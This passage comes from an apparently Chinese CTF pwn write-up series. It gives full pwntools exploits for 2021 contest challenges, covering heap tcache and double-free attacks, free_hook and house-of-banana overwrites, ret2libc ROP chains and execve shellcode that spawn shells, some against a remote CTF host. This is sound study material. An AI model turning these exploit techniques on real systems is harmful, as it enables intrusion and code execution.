add(0x78,b'aaa') #1
add(0x78,b'aaa') #2
show(0)
p.recvuntil(b'is: ')
libc_base = u64(p.recv(8)) ^ key
libc_base -= 0x3ebca0

Step3:double free修改free_hook,注意在第二次free之前要修改标志位

1
2
3
4
5
6
7
8
9
10
11
add(0x60,b'aaa') #3
free(0)
edit(3,b'a'*0x10)
free(3) #double free
#gdb.attach(p)

add(0x60,p64(free_hook^key))
add(0x60,b'\x00')
add(0x60,p64(system^key))
add(0x60,p64(binsh^key))
free(5)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

context.log_level = 'debug'

p = process('pwdFree')
elf = ELF('pwdFree')
libc = ELF('libc-2.27.so')

def add(size,content):
p.recvuntil("Input Your Choice:")
p.sendline("1")
p.recvuntil("Input The ID You Want Save:")
p.sendline("1")
p.recvuntil("Length Of Your Pwd:")
p.sendline(str(size))
p.recvuntil("Your Pwd:")
p.sendline(content)

def edit(index,content):
p.recvuntil("Input Your Choice:")
p.sendline("2")
p.sendline(str(index))
p.send(content)

def show(index):
p.recvuntil("Input Your Choice:")
p.sendline("3")
p.recvuntil("Which PwdBox You Want Check:")
p.sendline(str(index))

def free(idx):
p.recvuntil("Input Your Choice:")
p.sendline("4")
p.recvuntil("Idx you want 2 Delete:")
p.sendline(str(idx))

add(0xf8,b'a\n')
p.recvuntil("Save ID:")
p.recv(8)
key = u64(p.recv(8))
print(hex(key))

for i in range(6):
add(0xf8,b'aaa')

add(0xf8,b'aaa') #0 (7)
add(0x78,b'aaa') #1 (8)
add(0xf8,b'aaa') #2 (9)
add(0x88,b'aaa') #3 (10)

for i in range(7):
free(i)

free(8)
free(7) # ->unsortdebin
add(0x78,b'a'*0x70+p64((0x80+0x100)^key)) #0
free(9) #unlink

#overlap
add(0x78,b'aaa') #1
add(0x78,b'aaa') #2
show(0)
p.recvuntil(b'is: ')
libc_base = u64(p.recv(8)) ^ key
libc_base -= 0x3ebca0
print(hex(libc_base))

'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
#one = [0x4f3d5,0x4f432,0x10a41c]
binsh = u64(b'/bin/sh\x00')
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

#tacahe check bypass
add(0x60,b'aaa')
free(0)
edit(3,b'a'*0x10)
free(3) #double free
#gdb.attach(p)

add(0x60,p64(free_hook^key))
add(0x60,b'\x00')
add(0x60,p64(system^key))
add(0x60,p64(binsh^key))
free(5)
gdb.attach(p)
p.interactive()

[CISCN 2021]PWN4

题目解析

具体见我前面UAF的文章

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from os import system
from pwn import *

p = process("crash")
context.log_level = 'debug'
libc = ELF('libc-2.23.so')
elf = ELF('crash')
#p = remote('192.168.43.181',55000)
def add(size,data):
p.sendline('add ')
p.sendlineafter('Pls give data size:',str(size))
p.sendlineafter('data:',data)

def dele(idx):
p.sendline('delete ')
p.recvuntil('id:')
p.sendline(str(idx))
p.sendafter('Are you sure?:','yes')


add(4,'aaa')
add(4,'aaa')

dele(0)
dele(1)
dele(0)

add(0x20,'\x00')
add(0x20,b'c'*0x18+b'\x0b\x00')
dele(0)

p.recvuntil(b'c'*0x18)
elf_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xd0b
print(hex(elf_base))

dele(1)

'''
0x000000000000119c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000119e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000000011a0 : pop r14 ; pop r15 ; ret
0x00000000000011a2 : pop r15 ; ret
0x000000000000119b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000119f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000000a80 : pop rbp ; ret
0x00000000000011a3 : pop rdi ; ret
0x00000000000011a1 : pop rsi ; pop r15 ; ret
0x000000000000119d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000929 : ret
0x0000000000000962 : ret 0x2016
0x000000000000102b : ret 0x8b48
0x0000000000000dd2 : ret 0x8d48

'''

pop_rdi = elf_base + 0x11a3
puts_plt = elf_base + elf.plt['puts']
puts_got = elf_base + elf.got['puts']
main = elf_base + elf.sym['main']
pop_4 = elf_base + 0x119c
read_got = elf_base + elf.got['read']
pop_6 = elf_base + 0x119a
rop2 = elf_base + 0x1180
bin_sh = elf_base + 0x202080

add(0x4,b'\x00')
add(0x20,b'd'*0x18+p64(pop_4))
payload1 = p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_6)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bin_sh)+p64(0)+p64(rop2)+b'\x00'*56+p64(main)

payload1 = b"yes\x00\x00\x00\x00\x00" + payload1

p.sendline('delete ')
p.recvuntil('id:')
p.sendline('1')
p.recvuntil('Are you sure?:')
p.send(payload1)
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.symbols['system']
p.send(b"/bin/sh\x00")

dele(0)

add(0x4,b'\x00')
add(0x20,b'd'*0x18+p64(pop_4))

payload2 = p64(pop_rdi) + p64(bin_sh) + p64(system_addr) + p64(main)
payload2 = b'yes'.ljust(8,b'\x00') + payload2
#gdb.attach(p)
p.sendline('delete ')
p.recvuntil('id:')
p.sendline('1')
p.recvuntil('Are you sure?:')
p.send(payload2)

#gdb.attach(p)
dele(0)
p.interactive()

[长安杯 2021学生组]baige

题目考点

1.unsorted bin attact 
2.逻辑漏洞

IDA 分析

本题功能add,show,edit,delete一应俱全

漏洞点在add函数中

6.png-37.4kB

add 函数用一个数组来储存size,而且在进入检查之前就会对数组中的值赋值,这就意味着我可以利用这点来修改已经申请到的堆块的大小造成堆溢出

解题思路

Step1: leak libc
本题题目环境位2.27需要填满tacahe,来Unsorted bin attack

1
2
3
4
5
6
7
8
9
10
11
12
for i in range(8):
add(i,0x88,b'aaaa')

add(8,0x88,b'aaa') #防止合并

for i in range(8):
free(i)

add(9,0x18,b'aaaaaaaa')
show(9)
p.recvuntil('aaaaaaaa\n')
libc_base = (u64(p.recvuntil('\n',drop=True).ljust(8,b'\x00'))<<8) -0x3ebd00

Step2: 利用逻辑漏洞制造堆溢出,打free_hook来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(10,0x18,b'a')
free(10)

choice(1)
p.recvuntil("idx?")
p.sendline("9")
p.recvuntil("size?")
p.sendline("100000")
payload= p64(0)*3+p64(0x21)+p64(free_hook)
edit(9,0x40,payload)
add(10,0x18,b'a')
gdb.attach(p)
add(11,0x18,p64(system))
add(12,0x18,'/bin/sh\x00')
free(12)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

p = process("fff")
libc = ELF("libc-2.27.so")

def choice(choice):
p.recvuntil(">>")
p.sendline(str(choice))


def add(idx,size,content):
choice(1)
p.recvuntil("idx?")
p.sendline(str(idx))
p.recvuntil("size?")
p.sendline(str(size))
p.recvuntil("content?")
p.sendline(content)

def free(idx):
choice(2)
p.recvuntil("idx?")
p.sendline(str(idx))

def edit(idx,size,content):
choice(3)
p.recvuntil("idx?")
p.sendline(str(idx))
p.recvuntil("size?")
p.sendline(str(size))
p.recvuntil("content?")
p.sendline(content)

def show(idx):
choice(4)
p.recvuntil("idx?")
p.sendline(str(idx))

for i in range(8):
add(i,0x88,b'aaaa')

add(8,0x88,b'aaa')

for i in range(8):
free(i)

add(9,0x18,b'aaaaaaaa')
show(9)
p.recvuntil('aaaaaaaa\n')
libc_base = (u64(p.recvuntil('\n',drop=True).ljust(8,b'\x00'))<<8) -0x3ebd00
print(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(10,0x18,b'a')
free(10)

choice(1)
p.recvuntil("idx?")
p.sendline("9")
p.recvuntil("size?")
p.sendline("100000")
payload= p64(0)*3+p64(0x21)+p64(free_hook)
edit(9,0x40,payload)
add(10,0x18,b'a')
#gdb.attach(p)
add(11,0x18,p64(system))
add(12,0x18,'/bin/sh\x00')
free(12)

p.interactive()

[2021 祥云杯]note

题目分析

具体分析见我house of orange 那篇笔记

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import * 

#p = process('ggg')
p = remote("1.14.71.254",28009)
libc = ELF("libc-2.23.so")

def add(size,content):
p.recvuntil("choice: ")
p.sendline("1")
p.sendlineafter("size: ",str(size))
p.sendafter("content: ",content)


def show():
p.recvuntil("choice: ")
p.sendline("3")


def say(content1,content2):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("say ? ")
p.send(content1)
p.recvuntil("? ")
p.sendline(content2)

add(0x30,b'a')
p.recvuntil(b'addr: ')
heap_addr = int(p.recv(14),16)

top_chunk = heap_addr + 0x30
top_size = top_chunk + 8
say(b'%7$daaaa'+p64(top_size),str(0xfc1))


for i in range(15):
add(0x100,b'a')


add(0x40,b'a'*8)
show()

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c4c28
success(hex(libc_base))
one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247]
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['__realloc_hook']
realloc = libc_base + libc.sym['realloc']
one = libc_base + one_gadgets[1]

say(b'%7$saaaa'+p64(malloc_hook-8),p64(one)+p64(realloc+12))

p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline("2")
p.interactive()

[2021 祥云杯]PasswordBox ProVersion

题目分析

功能与FreeVersion 相似,多了完整的edit和show,以及一个recover可以恢复被释放掉的堆块

但是题目所给的libc版本位2.31,且程序能够显式的执行exit函数,这就想到了ha1vk师傅提出的高版本glibc的利用方式,house of banana(链接:“https://www.anquanke.com/post/id/222948?display=mobile”)

然后就是一波依葫芦画瓢

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *

p = process("pwdPro")
elf = ELF('pwdPro')
libc = ELF('libc-2.31.so')
ld = ELF('ld-2.31.so')

def add(index,size,content):
p.recvuntil("Choice:")
p.sendline("1")
p.recvuntil("Add")
p.sendline(str(index))
p.recvuntil("Save:")
p.sendline("1")
p.recvuntil("Pwd:")
p.sendline(str(size))
p.recvuntil("Pwd")
p.sendline(content)

def edit(index,content):
p.recvuntil("Choice:")
p.sendline("2")
p.recvuntil("Edit:")
p.sendline(str(index))
p.send(content)


def show(index):
p.recvuntil("Choice:")
p.sendline("3")
p.recvuntil("Check:")
p.sendline(str(index))

def free(index):
p.recvuntil("Choice:")
p.sendline("4")
p.recvuntil("Delete:")
p.sendline(str(index))

def recover(index):
p.recvuntil("Choice:")
p.sendline("5")
p.recvuntil("Recover")
p.sendline(str(index))

add(0,0x520,b'a\n')
p.recvuntil("ID:")
p.recv(8)
key = u64(p.recv(8))


add(1,0x428,b'b'*0x428) #1
add(2,0x500,b'c'*0x500) #2
add(3,0x420,b'd'*0x420) #3

free(0)
add(4,0x600,b'c'*0x600) #4
add(5,0x600,b'c'*0x600) #5
recover(0)
show(0)

p.recvuntil("is: ")
libc_addr = (u64(p.recv(8))^key)
libc_base = libc_addr -0x1ec010
print(hex(libc_base))

rtl_global = libc_base + 0x1f4000 + ld.sym['_rtld_global']
set_context = libc_base + libc.sym['setcontext'] + 0x3D
ret = libc_base + libc.sym['setcontext'] + 0x14E
pop_rdi_rbp_ret = libc_base + 0x00000000000276e9
binsh_addr = libc_base + 0x1b75aa
system_addr = libc_base + libc.sym['system']

edit(0,b'a'*0x10)
show(0)
p.recvuntil("is: ")
p.recv(0x10)
heap_addr = (u64(p.recv(8))^key)
print(hex(heap_addr))

edit(0,p64(libc_addr)*2)

free(2)
free(4)

edit(0,p64(0) + p64(0) + p64(0) + p64(rtl_global - 0x20))

add(6,0x600,b'large bin attack!!\n')

payload = p64(0) + p64(rtl_global+0x221730-0x220060+0x10) + p64(0) + p64(heap_addr + 0x960)
payload += p64(set_context) + p64(ret)

payload += p64(binsh_addr)
payload += p64(0)
payload += p64(system_addr)
payload += b'\x00'*0x80

payload += p64(heap_addr + 0x960 + 0x28 + 0x18)

payload += p64(pop_rdi_rbp_ret)
payload = payload.ljust(0x100,b'\x00')
payload += p64(heap_addr + 0x960 + 0x10 + 0x110)*0x3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,b'\x00')
payload += p64(0x8)
recover(2)
edit(2,payload)

edit(1,b'b'*0x420 + p64(heap_addr + 0x960 + 0x20))

p.recvuntil("Choice:")
p.sendline("6")


#gdb.attach(p)
p.interactive()

[2021 鹤城杯]babyof

题目考点

ret2libc

分析

buf处存在栈溢出

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *


p = remote('1.14.71.254',28073)
libc = ELF('libc-2.27.so')
elf = ELF('babyof')

ret = 0x0000000000400506
pop_rdi = 0x0000000000400743
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x40066B

p.recvuntil("?")
payload = b'a'*0x40 + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +p64(main)
p.sendline(payload)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
binsh = libc_base + 0x00000000001b3e1a
system = libc_base + libc.sym['system']

p.recvuntil("?")
payload = b'a'*0x40 + p64(0) + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload)


p.interactive()

[2021 鹤城杯]littleof

题目考点

ret2libc
canary

题目分析

题目存在canary

1.jpg-7.4kB
image_1fhpqrsetl1s19a1ipo1qf8s05l.png-4kB

通过IDA分析可以得到canary的位置在距buf的0x48处,即只要padding0x48个字节就能得到canary剩下的就是基操了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

p = process('littleof')
p = remote("1.14.71.254",28147)
libc = ELF('libc-2.27.so')
elf = ELF('littleof')


ret = 0x000000000040059e
pop_rdi =0x0000000000400863
main = 0x4006E2
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']


p.recvuntil('overflow?')
payload = b'a'*0x48
p.sendline(payload)
p.recvuntil('a'*0x48)
canary = u64(p.recv(8).rjust(8,b'\x00'))
canary = canary & 0XFFFFFFFFFFFFFFF0
print(hex(canary))

p.recvuntil('!')

payload1 = b'a'*0x48 + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +p64(main)
p.sendline(payload1)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
print(hex(libc_base))
binsh = libc_base + 0x00000000001b3e1a
system = libc_base + libc.sym['system']
p.recvuntil('overflow?')
payload = b'a'*0x48
p.sendline(payload)
p.recvuntil('a'*0x48)
canary = u64(p.recv(8).rjust(8,b'\x00'))
canary = canary & 0XFFFFFFFFFFFFFFF0

p.recvuntil('!')

payload2 = b'a'*0x48 + p64(canary) + p64(0) + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload2)

p.interactive()

[2021 祥云杯]JigSAW’sCage

题目考点

1.shellcode
2.整数溢出

IDA 分析

漏洞函数
2.png-53kB

虽然程序保护全开,但是漏洞函数中当条件满足时(利用整数溢出)会调用mprotect函数且prot的值为7,即对qword_5148+1024赋予RWX权限

3.png-10.8kB
而qwor_5148又在heap处,故我们申请的堆块就有着RWX权限,所以可以向堆块中写入shellcode

难点就在于edit函数只能一次写入0x10个字节,所以shellcode需要分段写入,在写入的过程中要不断调整rsp

最后利用给出的test函数来执行shellcode

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.log_level = 'debug'
p = process('./JigSAW')
p = remote("1.14.71.254",28001)
context.arch = "amd64"
def add(idx):
p.sendlineafter("Choice :", "1")
p.sendlineafter("Index? :", str(idx))
def show(idx):
p.sendlineafter("Choice :", "5")
p.sendlineafter("Index? :", str(idx))
def edit(idx, content):
p.sendlineafter("Choice :", "2")
p.sendlineafter("Index? :", str(idx))
p.sendafter("iNput:", content)
def free(idx):
p.sendlineafter("Choice :", "3")
p.sendlineafter("Index? :", str(idx))
def test(idx):
p.sendlineafter("Choice :", "4")
p.sendlineafter("Index? :", str(idx))
s1 = asm("mov rsp, rdx\nadd rsp, 0x20\npush rsp")
s2 = asm("mov rax, 0x68732f6e69622f\nadd rsp, 0x20\npush rsp")
s3 = asm("push rax\nmov rdi, rsp\nxor rsi, rsi\nadd rsp, 0x28\npush rsp")
s4 = asm("xor rdx, rdx\nmov rax, 59\nsyscall\n")
print(len(s1))
print(len(s2))
print(len(s3))
print(len(s4))
p.sendlineafter("Name:", "hgg")
p.sendlineafter("Choice:", str(0x1<<32)) #int len overlap
add(0)
add(1)
add(2)
add(3)
edit(0,s1)
edit(1, s2)
edit(2, s3)
edit(3, s4)
test(0)
p.interactive()


[2021 鹤城杯]easyecho

题目考点

stack smashing

解题思路

Step1:输入name时溢出,计算程序地址

Step2:输入backdoor 将flag读到栈上

Step3: 利用gets(v10)stack smashing

计算偏移
4.png-382.9kB

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
context.log_level="debug"
p=process("./easyecho")
p.sendafter("Name: ","A"*16)
p.recvuntil("Welcome AAAAAAAAAAAAAAAA")
leak=u64(p.recv(6).ljust(8,b'\x00'))
pie_base=leak-0xcf0
print("leak",hex(leak))

flag_addr=pie_base+0x202040
print("flag:",hex(flag_addr))

p.recvuntil("Input: ")
p.sendline("backdoor")


p.sendlineafter("Input: ",b'a'*0x168+p64(flag_addr))

p.recvuntil("Input:")
p.sendline('exitexit')
p.interactive()

[2021 东华杯]gcc2

题目考点

1.UAF
2.tcache bin attack

题目分析

漏洞点在free函数,存在UAF

image_1fjndvfu82bh5khmn7frn1q139.png-57.7kB

add 函数限制了堆块申请个数以及最大申请的大小

image_1fjne1tamlao1plmh0sas12hbm.png-79.2kB

解题思路比较简单,利用UAF想办法构造一个大块释放近unsorted bin泄露出libc然后打free_hook

解题步骤

Step1:利用UAF构造一个大于0x410的块,释放进入unsorted bin得到libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
for i in range(10):
add(i, 0x60)
add(10, 0x18)
# double free 泄露堆地址
free(10)
edit(10, p64(0)*2)
free(10)
show(10)
heap_addr = u64(p.recvuntil("Welcome", drop=True)[-7:- 1].ljust(8, b"\x00"))
success("heap:"+hex(heap_addr))
edit(10, p64(heap_addr-0x470)+p64(0)) #将chunk10的fd指针改写成chunk0的地址
add(11, 0x18)
add(12, 0x18)
edit(12, p64(0)+b'\x81\x04') #修改chunk0的size位
add(13,0x60)
free(0)
show(0)
libc_base = u64(p.recvuntil("Welcome", drop=True)[-7:- 1].ljust(8, b"\x00")) - 0x1ebbe0
success("libc:" + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

Step2: 劫持free_hook

1
2
3
4
5
6
7
8
9
free(1)
free(2)
edit(2,p64(free_hook))
add(14,0x60)
add(15,0x60)
edit(15,p64(system))

edit(4,b'/bin/sh\x00')
free(4)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

#p = process("gcc2")
p = remote("1.14.71.254",28017)
libc = ELF('libc-2.31.so')

def choice(choice):
p.recvuntil(">>")
p.sendline(str(choice))

def add(index,size):
choice(1)
p.recvuntil(">>")
p.sendline(str(index))
p.recvuntil(">>")
p.sendline(str(size))

def edit(index,content):
choice(2)
p.recvuntil(">>")
p.sendline(str(index))
p.recvuntil(">>")
p.sendline(content)

def show(index):
choice(3)
p.recvuntil(">>")
p.sendline(str(index))

def free(index):
choice(4)
p.recvuntil(">>")
p.sendline(str(index))

for i in range(10):
add(i, 0x60)
add(10, 0x18)
free(10)
edit(10, p64(0)*2)
free(10)
show(10)
heap_addr = u64(p.recvuntil("Welcome", drop=True)[-7:- 1].ljust(8, b"\x00"))
success("heap:"+hex(heap_addr))
edit(10, p64(heap_addr-0x470)+p64(0))
add(11, 0x18)
add(12, 0x18)
edit(12, p64(0)+b'\x81\x04')
add(13,0x60)
free(0)
show(0)
libc_base = u64(p.recvuntil("Welcome", drop=True)[-7:- 1].ljust(8, b"\x00")) - 0x1ebbe0
success("libc:" + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

free(1)
free(2)
edit(2,p64(free_hook))
add(14,0x60)
add(15,0x60)
edit(15,p64(system))

edit(4,b'/bin/sh\x00')
free(4)

p.interactive()

[2021 东华杯]cpp1

题目考点

1.overlapping
2.tcache bin attack

题目分析

漏洞点在edit函数,存在溢出

image_1fjpn0gt2s2a1aml2mo1pugvir9.png-59kB

add 函数限制了堆块申请个数以及最大申请的大小

image_1fjpn1b1p8vn9fpgna1l1o6rm.png-78.9kB

解题思路比较简单,利用chunk overlapping 泄露出libc 然后打free_hook

解题步骤

Step1:填满tcache,利用edit中的溢出修改size制造overlapped chunk,释放进入unsorted bin得到libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for i in range(0,7):
add(i,0xf0)
add(7,0x18)
add(8,0x38)
add(9,0xb8)
add(10,0x38)
# 因为chunk0-6的size位为0x101,所以我们修改chunk8的size位为0x101,使得chunk8和chunk9合并
edit(7,b'a'*0x18+b'\x01\x01')
for i in range(0,7):
free(i)
# 释放chunk8进入unsorted bin
free(8)
# 将原本的chunk8恢复,此时chunk9的fd指针指向main_arena_xx
add(8,0x38)
show(9)
libc_base = u64(p.recvuntil("Welcome", drop=True)[-7:- 1].ljust(8, b"\x00")) -0x1ebbe0
success("libc: " + hex(libc_base))
#gdb.attach(p)
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

Step2: 劫持free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(0,0x18)
add(1,0x18)
add(2,0x18)
add(3,0x18)

free(0)
free(2)
edit(1,b'a'*0x18+p64(0x21)+p64(free_hook))

add(4,0x18)
add(5,0x18)
edit(5,p64(system))
add(6,0x18)
edit(6,b'/bin/sh\x00')
free(6)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

#p = process("cpp1")
p = remote("1.14.71.254",28139)
libc = ELF('libc-2.31.so')

def choice(choice):
p.recvuntil(">>")
p.sendline(str(choice))

def add(index,size):
choice(1)
p.recvuntil(">>")
p.sendline(str(index))
p.recvuntil(">>")
p.sendline(str(size))

def edit(index,content):
choice(2)
p.recvuntil(">>")
p.sendline(str(index))
p.recvuntil(">>")
p.sendline(content)

def show(index):
choice(3)
p.recvuntil(">>")
p.sendline(str(index))

def free(index):
choice(4)
p.recvuntil(">>")
p.sendline(str(index))

for i in range(0,7):
add(i,0xf0)

add(7,0x18)
add(8,0x38)
add(9,0xb8)
add(10,0x38)

edit(7,b'a'*0x18+b'\x01\x01')

for i in range(0,7):
free(i)

free(8)
add(8,0x38)
show(9)
libc_base = u64(p.recvuntil("Welcome", drop=True)[-7:- 1].ljust(8, b"\x00")) -0x1ebbe0
success("libc: " + hex(libc_base))
#gdb.attach(p)
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

add(0,0x18)
add(1,0x18)
add(2,0x18)
add(3,0x18)

free(0)
free(2)
edit(1,b'a'*0x18+p64(0x21)+p64(free_hook))

add(4,0x18)
add(5,0x18)
edit(5,p64(system))
add(6,0x18)
edit(6,b'/bin/sh\x00')
free(6)

p.interactive()

[东华杯 2021]bg3

题目考点

1.程序逻辑漏洞
2.tcache attack

题目分析

漏洞点在add函数,就是具有相同idx的chunk的size会叠加,由此造成溢出
image_1fjs35m2cq5l16sn120t1mthdvd9.png-88.7kB

解题步骤

Step1:unsorted bin attack 泄露libc

1
2
3
4
5
6
7
8
9
add(0,0x410)
add(1,0x18) #防止合并
free(0)
add(0,0x410)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x1ebbe0
success("libc:"+hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

Step2: 利用溢出来修改tcache chunk的fd指针,劫持free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add(2,0x18)
free(2)
add(2,0x18)
free(2)
add(2,0x18)

add(3,0x18)
add(4,0x18)
free(4)
free(3)
edit(2,p64(0)*3+p64(0x21))+p64(free_hook))
add(5,0x18)
add(6,0x18)
edit(6,p64(system))
edit(0,b'/bin/sh\x00')
free(0)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

#p = process("bg3")
p = remote("1.14.71.254",28070)
libc = ELF('libc-2.31.so')

def choice(choice):
p.recvuntil("Select:")
p.sendline(str(choice))

def add(index,size):
choice(1)
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Length")
p.sendline(str(size))

def edit(index,content):
choice(2)
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Info:")
p.sendline(content)

def show(index):
choice(3)
p.recvuntil("Index:")
p.sendline(str(index))

def free(index):
choice(4)
p.recvuntil("Index:")
p.sendline(str(index))

add(0,0x410)
add(1,0x18)
free(0)
add(0,0x410)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x1ebbe0
success("libc:"+hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
add(2,0x18)
free(2)
add(2,0x18)
free(2)
add(2,0x18)

add(3,0x18)
add(4,0x18)
free(4)
free(3)
edit(2,p64(0)*3+p64(0x21)+p64(free_hook))
add(5,0x18)
add(6,0x18)
edit(6,p64(system))
edit(0,b'/bin/sh\x00')
free(0)


#gdb.attach(p)
p.interactive()

[东华杯 2021]boom_script

题目考点

1.tcache attack
2.UAF
3.类VMpwn

题目分析

这道题跟着群里大佬的wp做的,写的很详细
boom_script

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

#p = process("boom_script")
p = remote("1.14.71.254",28182)
libc = ELF('libc-2.31.so')

p.recvuntil("$")
p.sendline("1")

payload = '''
var1 = "{0}";\
var2 = "{1}";\
var1 = "{2}";\
prints("aaaaaaaa");
var2 = "AAAAAAAA";
array arr1[20];
inputn(var3);
arr1[-3] = var3;
arr1[-35] = 844424930131968;
var4 = "{1}";

array arr2[1];
inputn(var5);
arr2[0] = var5;
var6 = "/bin/sh";
var6 = "AAAAAAAA";
'''.format('a' * 0x458, 'b' * 0x38, 'c' * 0x18)
#gdb.attach(p)
p.recvuntil("length:")
p.sendline(str(len(payload)+1))
p.recvuntil("code:")
p.sendline(payload)
p.recvuntil(b'a'*8)
libc_base = u64(p.recvuntil('\x7f').ljust(8,b'\x00')) -0x1ebfe0
success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(free_hook))
p.send(str(free_hook-0x28))
#gdb.attach(p)
p.send(str(system))

#gdb.attach(p)
p.interactive()

nc签到

题目考点

linux 文件操作

exp

1
2
3
4
5
